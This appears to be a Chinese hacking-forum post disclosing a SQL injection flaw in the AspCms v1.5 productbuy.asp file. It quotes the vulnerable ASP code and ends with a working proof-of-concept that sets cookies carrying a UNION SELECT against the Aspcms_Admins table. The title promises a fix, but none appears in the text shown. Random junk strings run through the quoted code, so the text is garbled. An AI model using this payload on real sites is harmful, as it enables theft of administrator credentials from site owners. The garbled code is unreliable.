AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
3 `* V  h( Z8 R2 s# |: E2 }9 A! [废话不多说，看代码：

, t  b8 a, H! r, m: d% a0 |<%

: h3 I" Q2 G) q4 P# Jif action = "buy" then

7 r$ S# G; l/ u9 A/ M        addOrder()
7 y3 |! t% g' |) y/ @: U  t" d
- f& }* _6 P2 Z" \0 ^2 H, Delse
9 ?8 n4 k- C, [# N
        echoContent()

end if



" I" L+ T7 w0 f' g5 C……略过
& X7 {) j% j" c5 h

' I4 c/ S7 H. N3 K, K- U0 O
Sub echoContent()

        dim id
/ x8 T4 \! \/ D+ _
        id=getForm("id","get")
6 p' ^5 C( ~9 A! a; d
, z8 V1 o  b# h' O7 R+ {0 Z        
) e+ v! B2 `& l1 j
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        
, v, s! c+ e: {$ r
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
/ n5 v/ T8 t+ I
; }0 N0 H" s; l( x1 o: Y        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
3 v. w- y2 M  [4 `0 F* \
1 A8 ~9 Z$ K+ @/ w# B9 K- r        Dim templatePath,tempStr
1 c7 R- W1 S7 P
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
" I0 N: J, _, x

" K" U: S/ |8 ~" X
0 }) X; j6 @% T7 j        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
4 y; A3 x8 T) Y1 t# W. F
$ u$ A) W6 ]2 D: m        selectproduct=rsObj(0)

        

9 M1 k" r3 w5 C6 A        Dim linkman,gender,phone,mobile,email,qq,address,postcode
% k0 L% b- M- i
% Q5 y  K; ?2 `' N0 b        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
+ ]1 Y. k; C, S0 I
1 t1 y  F( Q4 `  M        if rCookie("loginstatus")=1 then  
, l3 l0 G  l) f. M
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

- ^6 j4 _4 H- N" K$ _: G# T0 r                linkman=rsObj("truename")
5 h  Y/ t, I% E! H
5 |+ P' }8 E( e! s6 u: @                gender=rsObj("gender")
, K% R, b" u, j0 M
3 t8 r% N4 Z8 v5 T8 U# \3 H% K                phone=rsObj("phone")

. A- k! [  l# a' L. M8 `. y! x                mobile=rsObj("mobile")
* n* c; M; ?1 q% h
                email=rsObj("email")

                qq=rsObj("qq")
3 A: Z. D3 f/ D5 B( m( ?6 H
; O6 Q7 N- \$ u( x' ~                address=rsObj("address")

                postcode=rsObj("postcode")

        else

                gender=1

5 m. d/ G+ s+ M) t, `+ o' k( U+ g        end if
: V6 k$ `9 F- X1 H3 B+ n6 p
$ Y; p' K8 S6 U2 K! G        rsObj.close()

+ e4 V6 v0 _  Z9 {3 M: ?3 A               
' _& e& u' I# Y/ k
        with templateObj
' S3 M/ ~4 k; k% I" [
                .content=loadFile(templatePath)        
" Q" z! v: h4 ~0 s- a' R
                .parseHtml()

& h" D  z# J. p; x% S3 H                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

+ j' H' K4 x0 V. p6 _3 b6 }                .content=replaceStr(.content,"[aspcms:gender]",gender)               

% ^+ R8 c& \. e9 ~2 |! i' N                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
7 I* x& L: K/ Q. N
                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
% A: ^; A; G/ q5 J! x& d9 k" e
. J# W* `* k- Y* U                .content=replaceStr(.content,"[aspcms:address]",address)                        
& ^) Q5 Q/ s. ?# b! ?
' v- y! h( h6 S" N                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 

                echo .content

) j3 X' _/ r, F' C        end with

5 V' _/ I8 y# b5 F        set templateobj =nothing : terminateAllObjects
- E; ?8 \6 K4 P  o
End Sub
+ d& ~7 R, r: S7 T0 @. p  Z$ U漏洞很明显，没啥好说的
. `5 x- i, H$ u) P7 f. {, Vpoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
5 p( w9 p% }0 X9 A